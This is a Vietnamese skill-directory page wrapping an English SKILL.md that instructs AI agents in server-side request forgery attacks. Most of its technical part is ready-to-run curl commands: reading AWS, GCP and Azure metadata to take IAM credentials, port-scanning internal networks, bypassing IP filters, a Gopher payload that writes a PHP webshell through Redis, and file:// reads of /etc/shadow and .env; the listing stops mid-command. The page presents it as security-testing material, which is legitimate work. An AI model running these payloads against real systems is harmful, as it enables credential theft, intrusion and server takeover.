exploit-ssrf
Skill này làm gì
Skill này giải thích cách server-side request forgery hoạt động và cách kiểm thử nó. Dành cho người kiểm thử bảo mật kiểm tra các tính năng lấy URL trên máy chủ.
Khi nào nên dùng
- ✓Khi một ứng dụng lấy URL từ đầu vào của người dùng, như ảnh hoặc liên kết xem trước, và bạn muốn kiểm thử nó.
- ✓Khi một rà soát bảo mật hỏi liệu địa chỉ nội bộ có bị chặn khi gửi yêu cầu ra ngoài không.
- ✓Khi mục tiêu chạy trong môi trường đám mây nơi dịch vụ metadata có thể truy cập được.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem tính năng xem trước liên kết của ứng dụng tôi có thể bị khiến lấy các địa chỉ nội bộ không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent trỏ trường URL đến một callback thử nghiệm và đến các địa chỉ nội bộ hoặc metadata, rồi kiểm tra phản hồi để xem máy chủ có tiếp cận được chúng không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Server-Side Request Forgery (SSRF)
Exploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.
Detection
# Test with callback server
curl -s 'https://<TARGET>/fetch?url=http://<CALLBACK>/ssrf_test' -o ssrf_callback.txt
# Test localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_localhost.txt
# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref
Cloud Metadata Exploitation
# AWS IMDSv1
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/' -o ssrf_aws_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt
# Then fetch role credentials:
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt
# GCP
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt
# Azure
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt
# DigitalOcean
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt
Internal Service Scanning
# Scan internal ports via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://127.0.0.1:${port}/"
done > ssrf_port_scan.txt
# Internal network scanning
for i in $(seq 1 254); do
curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://10.0.0.${i}/" --max-time 3
done > ssrf_internal_scan.txt
Bypass Techniques
# IP address variations for 127.0.0.1
# Decimal: 2130706433
# Hex: 0x7f000001
# Octal: 0177.0.0.1
# IPv6: [::1], [0000::1]
# Shorthand: 127.1, 127.0.1
# DNS rebinding — point DNS to 127.0.0.1
# URL encoding
# http://%31%32%37%2e%30%2e%30%2e%31/
# Redirect bypass — host a redirect from your server to internal target
# https://<YOUR_SERVER>/redirect?to=http://169.254.169.254/latest/meta-data/
Gopher Protocol
# Gopher SSRF to interact with internal services (Redis, MySQL, etc.)
# Redis — flush and write webshell
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$34%0d%0a<?php%20system(\$_GET['cmd']);?>%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a"
curl -s "https://<TARGET>/fetch?url=${GOPHER_PAYLOAD}" -o ssrf_gopher.txt
Application-Feature SSRF
When the application mediates server-side HTTP requests through a feature (not a raw ?url= parameter), look for these vectors:
# Markdown/HTML renderer — image and link tags trigger server-side fetch
# Submit as markdown content:
# 
# [x](http://127.0.0.1:8080/internal)
# PDF generator (HTML-to-PDF) — iframe or img src
# Submit as HTML content:
# <iframe src="http://localhost/admin"></iframe>
# <img src="http://169.254.169.254/latest/meta-data/">
# Webhook/callback URL — application calls back to attacker-controlled URL
# Set webhook URL to: http://127.0.0.1:<PORT>/admin
# Import-from-URL / avatar-from-URL features
curl -s -X POST 'https://<TARGET>/import' \
-d 'url=http://127.0.0.1:8080/admin' -o ssrf_import.txt
# Probe common restricted admin ports through any SSRF vector
for port in 80 443 3000 5000 8000 8080 8443 9000; do
curl -s -o ssrf_admin_${port}.txt \
'https://<TARGET>/<SSRF_VECTOR>' \
--data-urlencode "url=http://127.0.0.1:${port}/admin"
echo "Port $port: $(wc -c < ssrf_admin_${port}.txt) bytes"
done
Local File Read via file://
When the server-side fetcher supports the file:// scheme:
# Read sensitive files via file:// scheme
curl -s 'https://<TARGET>/fetch?url=file:///.env' -o ssrf_env.txt
curl -s 'https://<TARGET>/fetch?url=file:///etc/shadow' -o ssrf_shadow.txt
# Common sensitive files
curl -s 'https://<TARGET>/fetch?url=file:///etc/passwd' -o ssrf_passwd.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/environ' -o ss
Câu hỏi thường gặp
Vì sao SSRF nguy hiểm?
Skill cho biết nó có thể tiếp cận dịch vụ nội bộ và metadata đám mây, nơi có thể chứa thông tin xác thực.
Nó có bao gồm bypass bộ lọc IP không?
Có. Nó bao gồm các kỹ thuật bypass IP, DNS rebinding và bypass dựa trên chuyển hướng.
Nó có nhắc đến giao thức khác không?
Có. Nó nhắc đến giao thức Gopher như một cách để đưa các yêu cầu lậu.
Chi tiết
Mô tả gốc của tác giả
Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS/GCP/Azure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14081
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.